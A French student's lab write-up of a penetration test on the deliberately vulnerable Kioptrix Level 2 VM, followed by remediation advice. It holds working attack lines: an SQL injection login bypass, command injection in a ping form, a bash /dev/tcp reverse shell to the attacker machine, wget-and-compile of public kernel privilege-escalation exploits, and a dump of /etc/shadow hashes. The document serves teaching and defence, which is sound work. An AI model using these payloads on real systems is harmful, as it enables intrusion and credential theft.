Exploitation de Kioptrix Level 2 : de la reconnaissance au root
Dans le cadre d’un TP j’ai rédigé un compte rendu d’exploitation d’une machine vulnérable : la Kioptrix Level 2. L’idée était de simuler un test de pénétration complet, de la reconnaissance jusqu’à la prise de contrôle totale, puis de rédiger les remédiations. Voici le déroulé de cette exploitation, en gardant le fil de mon compte rendu.
C’est une situation fictive évidemment.
📄 Le rapport complet au format PDF est disponible ici : LE-GALL_Arthur_TP1_BUT3.pdf
Introduction
Nous avons été contactés par la DSI de l’IUT de Vannes dans l’objectif d’effectuer un test de pénétration. Une machine Linux de son infrastructure était peu sûre et il fallait s’assurer qu’elle ne provoquait aucune faille sur le réseau.
Ce pentest devait se faire du 8 au 15 septembre 2026, sans provoquer de déni de service sur le réseau et sans utiliser de social engineering. L’objectif étant d’essayer de prendre le contrôle de la machine et de rédiger un rapport sur l’exploitation.
Risque global
Le risque global remonté par le pentest est CRITIQUE, un accès root à la machine a été trouvé.
| Faille | Sévérité | Statut | Urgence de fix |
|---|---|---|---|
| Injection de commande menant à une RCE | Critique | Exploitée, fix simple (PHP) | Le plus tôt possible |
| Injection SQL menant à la page d’administration | Élevée | Exploitée, fix simple (PHP) | Le plus tôt possible |
| Élévation de privilèges | Critique | Exploitée (accès root), fix via mise à jour kernel & OS | Le plus tôt possible |
| Failles multiples sur CUPS / OpenSSH / RPCBIND | Moyennes | Non exploitées mais publiques | Moins urgent, à faire rapidement |
En résumé il est très important de remédier rapidement aux 3 failles citées au début du tableau. Elles ont permis une exploitation totale de la machine, avec un accès root. Cela permet de récupérer les hashs des mots de passe et de potentiellement contaminer le réseau.
Reconnaissance
Netdiscover
On cherche à explorer notre réseau local, on veut trouver l’IP de la machine cible :
1
sudo netdiscover -r 192.168.56.0/24
1
2
3
IP At MAC Address Count Len MAC Vendor / Hostname
192.168.56.100 08:00:27:f4:e1:87 1 60 PCS Systemtechnik GmbH
192.168.56.102 08:00:27:09:1b:39 1 60 PCS Systemtechnik GmbH
On peut aussi utiliser arp -a :
1
2
3
? (192.168.56.100) at 08:00:27:1f:f2:71 [ether] on eth1
? (192.168.56.102) at 08:00:27:09:1b:39 [ether] on eth1
? (10.0.2.2) at 52:55:0a:00:02:02 [ether] on eth0
Puisque mon adresse est la 101, je vais scanner la 102.
Utilisation de Nmap
Pour procéder au scan je décide d’utiliser NMAP, c’est un utilitaire permettant de tester les ports ouverts et de connaître les services connectés sur ces ports.
J’utilise la commande :
1
sudo nmap -sS 192.168.56.102
1
2
3
4
5
6
7
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
631/tcp open ipp
3306/tcp open mysql
On voit plusieurs services ouverts mais aucune version ou OS version, on procède à un scan plus complet :
1
sudo nmap -sS -sV -O 192.168.56.102
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
On voit bien plus de choses intéressantes, notamment les versions des services, on va pouvoir procéder à une recherche de vulnérabilités sur ces services. On voit également que l’OS est linux avec un kernel 2.6.
Énumération
On va procéder à l’énumération sur les différents services.
On regarde le port 80, le serveur web manuellement : visiblement il y a un système d’authentification (« Remote System Administration Login »), celui-ci est peut être vulnérable aux injections SQL.
En regardant la source :
1
2
3
4
5
6
7
8
9
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
...
<td><input name="uname" type="text"></td>
...
<input name="psw" type="password">
...
<input type="submit" name="btnLogin" value="Login">
</form>
<!-- Start of HTML when logged in as Administrator -->
La source indique que le login serait « Administrator ». Le form possède « action=’index.php’ », c’est un bon indice peut être qu’on pourra regarder côté failles PHP (path traversal, injection de fichiers etc etc).
J’ai choisi de fuzzer (d’injecter des données aléatoires dans les entrées d’un logiciel) le site pour trouver potentiellement des sous-domaines, j’ai tenté avec différentes wordlist et je n’ai cherché que les codes 200 (page trouvée).
J’ai choisi l’utilitaire ffuf :
1
sudo ffuf -w /usr/share/wfuzz/wordlist/general/medium.txt -u http://192.168.56.102/FUZZ -mc 200-299
Après vérification j’avais oublié d’ajouter le « / » final,
1
sudo ffuf -w /usr/share/wfuzz/wordlist/general/medium.txt -u http://192.168.56.102/FUZZ/ -mc 200-299
Nous avons plus de résultats :
1
manual [Status: 200, Size: 7234, Words: 442, Lines: 97, Duration: 1635ms]
Rien de très intéressant, c’est le manuel apache.
J’utilise burp suite pour regarder comment est formaté l’envoi de login lorsqu’on clique sur submit, cela me permettrait potentiellement de procéder à un bruteforce par la suite.
1
2
3
4
5
POST /index.php HTTP/1.1
Host: 192.168.56.102
Content-Type: application/x-www-form-urlencoded
...
uname=admin&psw=admin&btnLogin=Login
Je vois que ça fait un POST sur index.php, les logins sont fournis ainsi que le bouton de login, peut être que bruteforcer bloquerait le service. J’ai tenté différents classique (root:root – admin:admin etc).
Scan automatisé avec Nikto
Nikto est un utilitaire de sécurité web qui effectue des tests compréhensifs. On peut l’utiliser pour retrouver des versions outdatées, des mauvaises configurations web etc.
1
sudo nikto -h 192.168.56.102
On repère quelques lignes intéressantes :
- Host might be vulnerable to XST
- Security header missing (permission-policy, x-content-type-option etc.)
- MIME type different rendering would be possible
- CVE-2003-1418 – server could be leaking inodes via etags
- Fichiers / repertoires trouvés (manual, icons) mais rien de bien intéressant une fois exploré
- Directory indexing found (/icons/) mais rien de très grave non plus
- PHP 4.3.9 est outdaté (last = 8.5.10) // Important car CVE possible
- Apache 2.0.52 est outdaté (last = 2.4.68) // Important car CVE possible
Finalement ce scan Nikto nous offre quelques informations que nous n’avions pas, les plus importantes étant les versions obsolètes d’Apache et de PHP. Ces versions peuvent contenir des vulnérabilités et des CVE, il faut maintenant se renseigner.
Exploitation
Avant de commencer on rassemble les versions de chaque service qu’on connaît via NMAP ou Nikto :
- OpenSSH 3.9p1
- Apache 2.0.52
- Rpcbind 2
- CUPS 1.1
- PHP 4.3.9
À la vue de ce qu’on a et de ce qu’on a exploré au préalable, je pense qu’il est plus intéressant d’explorer les vulnérabilités Apache / PHP.
Recherche de CVE / Vulnérabilité avec searchsploit et exploit-db
Exploit-DB est une base de données de vulnérabilités publique et open source maintenue par Offensive Security. Searchsploit est un outil en ligne de commande permettant de rechercher des exploits et des vulnérabilités de manière locale dans une copie de la base de données Exploit DB.
Apache : sur exploit-db je n’ai pas trouvé grand-chose. En utilisant searchsploit Apache 2.0.52 on retrouve surtout du Denial of Service et des vulnérabilités qui ne correspondent pas à notre contexte.
PHP : ici quelque chose d’intéressant, une possibilité de « Remote information Leak ». Ici des choses très intéressantes, notamment du leak, de l’overflow, de la RCE (que sous windows), et du LCE.
On continue l’exploration.
CUPS : encore du denial of service, mais cette fois ci il y a de la RCE, il y a aussi de la privilege escalation ! CUPS peut être bien vulnérable il faudra se pencher dessus.
RPCBIND : cette fois ci pas grand-chose de concluant (du DOS encore…).
OpenSSH : sur exploit-db rien de concluant. Avec searchsploit il y a des choses intéressantes, notamment de l’énumération, et de la command exécution par SFTP.
À la suite de cette recherche de vulnérabilités nous pouvons tenter différentes choses mais il est plus important de se pencher sur la vulnérabilité « probable » qu’est l’injection SQL. On pourra toujours revenir sur les différentes possibilités fournies ici plus tard.
Exploitation d’injection SQL
Les injections SQL classiques se ressemblent toutes plus ou moins. J’utilise cette documentation : https://hacktricks.wiki/en/pentesting-web/sqlinjection/index.html
Ici on commence par tester avec des classiques :
OR 1=1'--- […]
Pour finir j’ai réussi à me connecter avec :
1
2
Administrator
'OR '1'='1
L’injection est effectuée je suis sur la fenêtre admin visiblement (« Welcome to the Basic Administrative Web Console », avec un champ « Ping a Machine on the Network »).
Tentative de Remote Code Execution
Voici la page pingit.php sur laquelle on se trouve après avoir envoyé une IP sur la page administrateur :
1
2
3
4
5
6
192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=0 ttl=64 time=7.06 ms
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=1.83 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.771 ms
On peut se dire qu’il y a une code exécution possible car le rendu est celui de la commande « ping ». Je tente de mettre un ls après l’ip :
1
192.168.56.101 && ls .
1
2
3
4
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
...
index.php
pingit.php
Grâce à l’exécution de la commande on sait que la RCE est possible.
Je vais tenter de récupérer un reverse shell, le principe étant d’écouter sur notre machine d’attaque (ici Kali Linux), d’effectuer une commande sur la victime pour nous connecter à Kali et donc d’avoir accès à la victime. Pour cela :
- Je lance une écoute sur kali
nc -lvp 4444 - J’envoie sur cette écoute un shell
bash -i >& /dev/tcp/192.168.56.101/4444 0>&1- À l’origine j’avais tenté
nc 192.168.56.101 4444 -e /bin/bashmais ce n’était pas fonctionnel
- À l’origine j’avais tenté
1
2
3
4
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 32769
bash: no job control in this shell
bash-3.00$
L’idée serait de stabiliser notre reverse shell, là on a quelque chose qui ressemble à un shell habituel mais qui peut se couper facilement. Il existe une technique simple :
1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
# CTRL Z
stty raw -echo; fg
export TERM=xterm
# Tester "CTRL C"
L’idée est que ça devienne un « vrai » shell, qu’on ne quittera pas avec CTRL C.
1
2
3
4
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i386 GNU/Linux
bash-3.00$ whoami
apache
Je suis donc l’utilisateur apache, je vais essayer de créer un accès ssh pour pouvoir revenir :
- Mauvaise nouvelle : apache est un user avec un « nologin » on ne pourra pas s’y connecter
1
2
bash-3.00$ grep apache /etc/passwd
apache:x:48:48:Apache:/var/www:/sbin/nologin
La persistance est difficile, sans connexion ssh il est presque impossible de se reconnecter facilement. Une fois root je pourrai changer le mot de passe root et me connecter directement depuis apache.
On va rester en apache, et on va tenter la privilege escalation. Avant de continuer on va essayer de lire les hashs des mots de passes des utilisateurs :
1
2
bash-3.00$ cat /etc/shadow
cat: /etc/shadow: Permission denied
L’utilisateur Apache n’y a pas accès, il faut être root.
1
2
3
4
5
6
bash-3.00$ lsb_release -a
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
bash-3.00$ hostname
kioptrix.level2
On est sur un CentOS 4.5 avec un kernel Linux en version 2.6.9, on va regarder si des vulnérabilités existent.
Post exploitation
Recherche de CVE existantes sur nos versions kernel & CentOS
1
searchsploit centos 4.5
1
2
3
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Es | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Esc | linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation | linux/local/35370.c
Visiblement il existe des escalades de privilèges sur CentOS 4.5 avec le kernel 2.6.
J’ai tenté d’exploiter la 9542 mais visiblement elle n’était pas fonctionnelle, la configuration ne devait pas être exactement pareille.
On essaie la 9479 :
- On récupère le script de l’exploit (ici un fichier source en c)
- On le lance (pour celui-ci il doit être installé sur la machine)
- On créé un serveur web sur la machine d’attaque qui héberge le fichier source
- On récupère ce fichier sur la machine cible
- On compile le fichier source, lance l’exploit et observe le rendu
1
2
searchsploit -m 9479.c
sudo cp 9479.c /var/www/html
Sur la cible :
1
2
3
4
5
6
7
8
bash-3.00$ wget 192.168.56.101/9479.c
...
9479.c saved [3378/3378]
bash-3.00$ gcc 9479.c
9479.c:130:28: warning: no newline at end of file
bash-3.00$ ./a.out
sh-3.00# whoami
root
Le script est fonctionnel, on est root.
Toutefois je vais également tenter l’exploit proposé dans le sujet (le 9545) :
1
searchsploit -m 9545
1
2
3
Exploit: Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation
Path: /usr/share/exploitdb/exploits/linux/local/9545.c
Codes: CVE-2009-2692, OSVDB-56992
On installe apache2 et on met le fichier dans /var/www/html. On se rend dans /tmp sur le reverse shell et on fait un wget.
1
wget 192.168.56.101/9545.c
On récupère ainsi le fichier source qu’on compile avec gcc
1
2
gcc 9545.c
./a.out
1
2
sh-3.00# whoami
root
Et nous voici enfin root.
Exploitation root
On tente de récupérer les hashs des utilisateurs, ils se trouvent dans /etc/shadow. Tout à l’heure nous ne pouvions pas les récupérer car seul root peut les lire.
1
2
3
4
5
6
sh-3.00# cat /etc/shadow
root:$1$F93/v3qZ$NVJdRCHcKLhg76/cNbEMz.:20711:0:99999:7:::
...
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::
exploit:$1$FUwBsRWs$kbcIOh7XpzErtYQQ11j/U.:20711:0:99999:7:::
Voici les hashs des utilisateurs. L’étape suivant pourrait être de tenter de craquer ceux-ci en utilisant hashcat ou John.
Remédiation
On commencera par étudier les remédiations immédiates puis celles qui sont à faire à moyen/long terme.
Remédiation Injection SQL
Le plus important lorsqu’on veut éviter les injections SQL c’est de séparer la partie « donnée » de ce qui est exécuté finalement en SQL. Pour cela on peut effectuer des requêtes préparées avec PDO. Ici le paramètre n’est pas traité comme code.
Il y a quelque chose d’important avant même de vouloir implémenter PDO (qui arrive sur PHP 5.1.0) c’est de mettre à jour notre version de PHP. Actuellement la version 4.3.9 ne permet pas d’utiliser PDO.
PDO :
1
2
3
// Source - https://stackoverflow.com/a/60496
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = :name');
$stmt->execute([ 'name' => $name ]);
Mysqli avec execute_query :
1
2
// Source - https://stackoverflow.com/a/60496
$result = $db->execute_query('SELECT * FROM users WHERE name = ?', [$name]);
Voici le contenu actuel du fichier PHP, on va remplacer le :
1
SELECT * FROM users WHERE username = '$username' AND password='$password'
Par :
1
2
3
4
5
6
7
8
9
10
11
$stmt = $pdo->prepare('SELECT * FROM users WHERE username =
:username AND password = :password');
$stmt->execute([
'username' => $username,
'password' => $password,
]);
$user = $stmt->fetch();
if ($user) {
// authentification réussie
}
Sauf qu’on ne doit jamais stocker nos mots de passe en clair, dans l’idée il faudrait les hasher :
1
2
3
4
5
6
7
8
$stmt = $pdo->prepare('SELECT * FROM users WHERE username =
:username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) {
// authentification réussie
}
Ici on utilise password_verify pour comparer le mot de passe fourni au hash, on ne fait donc jamais circuler de mot de passe en clair.
Pour corriger notre injection SQL il faut donc utiliser PDO (ou execute_query), dans l’idéal à cela nous ajouterons une sécurisation des mots de passe. Il est également important de mettre à jour Apache, le serveur web.
Remédiation RCE
L’injection de commande OS mène à une RCE, elle est possible suite à une mauvaise écriture du fichier PHP pingit.php :
1
2
3
4
5
6
$target = $_REQUEST['ip'];
if (isset($_POST['submit'])){
echo '<pre>';
echo shell_exec( 'ping -c 3 ' . $target );
echo '</pre>';
}
Ici on joint directement la target fournie par l’utilisateur dans le shell_exec. Cette target peut donc facilement contenir une suite de commande comme && ou ;.
On va garder le même principe mais on utilisera escapeshellarg pour éviter l’exécution de commandes. Et on passera la valeur fournie dans un filtre qui va vérifier que c’est bien une IP (qu’on peut REGEX sinon). Encore une fois il faut mettre à jour notre version de PHP pour être assuré du fonctionnement de notre fix.
1
2
3
4
5
6
7
8
9
$target = $_REQUEST['ip'];
if (filter_var($target, FILTER_VALIDATE_IP)) {
echo '<pre>';
echo shell_exec('ping -c 3 ' . escapeshellarg($target));
echo '</pre>';
} else {
echo 'Adresse IP invalide';
}
Exemple :
1
2
3
4
php > var_dump(filter_var('192.168.56.101', FILTER_VALIDATE_IP));
// string(14) "192.168.56.101"
php > var_dump(filter_var('192.168.56.101; whoami', FILTER_VALIDATE_IP));
// bool(false)
Ici l’utilisation de filter_var avec le filtre FILTER_VALIDATE_IP renvoie false si on tente quoi que ce soit, on ne rentre donc même pas dans le if et la tentative de RCE sera arrêtée. Si par miracle l’attaquant passe cette sécurité il devra faire face au escapeshellarg.
En résumé on modifie le contenu du fichier pingit.php et on met à jour PHP.
Remédiation Privilege Escalation
Notre machine Kioptrix tourne sous CentOS 4.5 avec un kernel 2.6.9, ceux-ci sont extrêmement obsolètes.
La vulnérabilité qui a fonctionné ici (sock_sendpage) se base sur une référence à un pointer null. Grâce à ça l’attaquant place du code malveillant et l’exécute à chaque exécution de sock_sendpage car le kernel effectue le jump directement dans son code malveillant.
Source : x86 kernel exploit step by step : null pointer dereference
La dernière version du kernel (stable) est : 7.2.6. C’est très important car le kernel a le maximum de permissions sur la machine, s’il existe une faille de sécurité à l’intérieur elle risque d’être critique.
CentOS Linux est totalement en fin de vie : la dernière version supportée, CentOS Linux 7, a cessé de recevoir des mises à jour le 30 juin 2024. Il faudrait utiliser un Debian (ou n’importe quelle distribution sécurisée) dernière version stable.
Remédiations autres
Ces mises à jour peuvent être effectuées sur un plus long terme que les 3 précédentes. Pour les autres « failles » trouvées :
- OpenSSH 3.9p1 — Dernière version stable : 10.5
- Rpcbind 2 — Dernière version : 1.2.7-1 (2025)
- CUPS 1.1 — Dernière version : 2.4.19 (2026)
Ce qu’il faut faire c’est avant tout de mettre chacun de ces services à jour. Nous l’avons vu plus haut, il existe différentes vulnérabilités pour ceux-ci, graves ou non.
Lors de l’utilisation des services il sera important de les configurer défensivement. Par exemple avec OpenSSH il est important d’accepter le login par clé et de refuser le login par mot de passe. Cela permet d’éviter qu’un tiers puisse tenter de se connecter.
Conclusion
Ce test d’intrusion nous a permis d’effectuer la reconnaissance, la recherche de vulnérabilité, l’exploitation et la remédiation complète d’une machine Linux sous CentOS 4.5.
Après avoir exploité ces vulnérabilités il est clair qu’il est important de mettre à jour ses services et d’utiliser une programmation défensive. Nous le voyons ici, si les versions sont obsolètes (et donc déjà exploitées et documentées), et que le code n’est pas sécurisé il est bien plus simple d’entrer dans la machine.
Au global la machine est très très vulnérable même si certains points sont positifs :
- Pas de bruteforce possible sur l’interface web
- Pas de couple login/password simple en ssh
S’il n’y avait pas eu d’injection SQL possible, nous aurions pris plus de temps (et peut être que nous n’aurions jamais réussi) à entrer.